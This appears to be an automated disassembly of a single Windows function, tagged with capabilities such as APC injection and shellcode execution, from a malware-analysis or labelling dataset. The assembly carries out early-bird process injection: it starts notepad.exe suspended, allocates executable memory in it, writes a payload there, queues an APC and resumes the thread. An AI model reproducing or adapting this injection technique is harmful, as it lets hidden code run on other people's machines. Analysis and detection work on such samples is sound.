Function at 0x14000db70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Inject apc
Query environment variable
Resume thread
Use process replacement
Write and execute a file
Write file on windows

Disassembly:
push r15
mov eax, 0x100f8
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14001a700
sub rsp, rax
mov ecx, 0x36
lea rbp, str.Creating_a_process
mov edi, 0x12
call sym.GC_malloc_atomic
movdqa xmm0, xmmword [0x140025fa0]
mov ecx, 1
mov byte [rsp + 0xf0], 0xa
mov rbx, rax
mov rsi, qword [dbg.__acrt_iob_func]
movups xmmword [rax], xmm0
movdqa xmm0, xmmword [0x140025fb0]
movups xmmword [rax + 0x10], xmm0
movdqa xmm0, xmmword [0x140025fc0]
movups xmmword [rax + 0x20], xmm0
mov eax, dword [0x140025fd0]
mov dword [rbx + 0x30], eax
movzx eax, word [0x140025fd4]
mov word [rbx + 0x34], ax
call rsi
mov r12, rax
nop word [rax + rax]
mov r8, rdi
mov rcx, rbp
mov r9, r12
mov edx, 1
call sym.fwrite
sub rdi, rax
add rbp, rax
test rdi, rdi
jg 0x14000dbf8
mov ecx, 1
lea r12, [rsp + 0xf0]
mov edi, 1
call rsi
mov rbp, r12
mov r13, rax
mov r8, rdi
mov rcx, rbp
mov r9, r13
mov edx, 1
call sym.fwrite
sub rdi, rax
add rbp, rax
test rdi, rdi
jg 0x14000dc30
mov r8d, 0x10000
xor edx, edx
mov rcx, r12
call sym.memset
xor eax, eax
mov ecx, 0xc
pxor xmm0, xmm0
lea r13, [rsp + 0x90]
movaps xmmword [rsp + 0x70], xmm0
mov r9d, 0xb
lea r8, str.notepad.exe
mov rdi, r13
xor edx, edx
mov r15, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov qword [rsp + 0x80], 0
rep stosq qword [rdi], rax
mov ecx, 0xfde9
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call r15
lea ebp, [rax + rax + 2]
mov r14d, eax
movsxd rcx, ebp
call sym.malloc_noscan
mov rdi, rax
test rax, rax
je 0x14000dcfb
sub ebp, 2
mov dword [rsp + 0x28], r14d
mov r9d, 0xb
xor edx, edx
mov qword [rsp + 0x20], rax
lea r8, str.notepad.exe
mov ecx, 0xfde9
movsxd rbp, ebp
call r15
xor eax, eax
mov word [rdi + rbp], ax
mov rdx, r12
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rax, [rsp + 0x70]
mov rdx, r12
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
xor ecx, ecx
lea r12, [rsp + 0x6f]
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test al, al
je 0x14000dee0
mov rcx, qword [rsp + 0x70]
mov edx, 0x7d0
lea r15, str.Creating_virtualAlloc
mov r14d, 0x15
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [rsp + 0x78]
mov byte [rsp + 0x6f], 0xa
mov ecx, 1
mov rbp, qword [rsp + 0x70]
mov qword [rsp + 0x58], rax
call rsi
mov r13, rax
nop word [rax + rax]
mov r8, r14
mov rcx, r15
mov r9, r13
mov edx, 1
call sym.fwrite
sub r14, rax
add r15, rax
test r14, r14
jg 0x14000dda0
mov ecx, 1
mov r15, r12
mov r14d, 1
call rsi
mov r13, rax
nop dword [rax]
mov r8, r14
mov rcx, r15
mov r9, r13
mov edx, 1
call sym.fwrite
sub r14, rax
add r15, rax
test r14, r14
jg 0x14000ddd8
mov r9d, 0x3000
mov r8d, 0x20
xor edx, edx
mov rcx, rbp
mov dword [rsp + 0x20], 0x40
lea rdi, str.WriteProcessMemory
mov r15d, 0x12
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov byte [rsp + 0x6f], 0xa
mov ecx, 1
mov r13, rax
call rsi
mov r14, rax
nop dword [rax]
mov r8, r15
mov rcx, rdi
mov r9, r14
mov edx, 1
call sym.fwrite
sub r15, rax
add rdi, rax
test r15, r15
jg 0x14000de38
mov ecx, 1
mov r14d, 1
call rsi
mov rsi, rax
nop word cs:[rax + rax]
mov r8, r14
mov rcx, r12
mov r9, rsi
mov edx, 1
call sym.fwrite
sub r14, rax
add r12, rax
test r14, r14
jg 0x14000de70
mov r9d, 0x36
mov r8, rbx
mov rdx, r13
mov rcx, rbp
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rbx, qword [rsp + 0x58]
xor r8d, r8d
mov rcx, r13
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
add rsp, 0x100f8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rsp + 0x6f], 0xa
mov ecx, 1
mov edi, 0x19
lea rbp, str.Error_to_create_a_process
call rsi
mov r12, rax
nop dword [rax + rax]
mov r8, rdi
mov rcx, rbp
mov r9, r12
mov edx, 1
call sym.fwrite
sub rdi, rax
add rbp, rax
test rdi, rdi
jg 0x14000df00
mov ecx, 1
lea r12, [rsp + 0x6f]
mov edi, 1
call rsi
mov rbp, r12
mov r13, rax
nop dword [rax]
mov r8, rdi
mov rcx, rbp
mov r9, r13
mov edx, 1
call sym.fwrite
sub rdi, rax
add rbp, rax
test rdi, rdi
jg 0x14000df38
jmp 0x14000dd5c